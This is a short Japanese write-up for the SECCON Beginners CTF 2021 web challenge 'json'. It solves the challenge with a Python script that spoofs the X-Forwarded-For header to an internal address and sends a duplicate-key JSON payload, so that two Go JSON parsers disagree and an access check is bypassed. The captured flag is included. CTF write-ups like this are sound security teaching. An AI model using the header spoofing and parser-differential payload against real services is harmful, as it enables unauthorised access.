メインコンテンツまでスキップ
非公開のページ
このページは非公開です。 検索対象外となり、このページのリンクに直接アクセスできるユーザーのみに公開されます。

[SECCON Beginners CTF 2021] json

Nakanome

WEB json 外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。 https://json.quals.beginners.seccon.jp/

問題

ソースコードが与えられています。 この問題の肝は多分Goライブラリでのjsonのパースの違いを利用します。 BFFサーバーではリクエストのペイロードのjsonをjson.Unmarshal(body, &info);で解釈しますが、 apiサーバーではjsonparser.GetInt(body, "id")で解釈します。

解法

両者のjsonの解釈の差を利用します。 bffサーバーだと{id: 2}って送ると拒否られるから、気づかれないようにapiサーバーに{id: 2}って解釈してもらえるようなjsonを送ろうということです。

jsonペイロード内に重複したキーが存在しているとどうなるかについて試したところ、以下のようなペイロードのときbffとapiでパース結果が変わるようなので、フラグを獲得できました。

import requests

headers = {
'X-Forwarded-For': '192.168.111.1',
}

data = '{"id":2, "id": 1}'

response = requests.post('https://json.quals.beginners.seccon.jp/', headers=headers, data=data)
print(response.text)

flag

ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck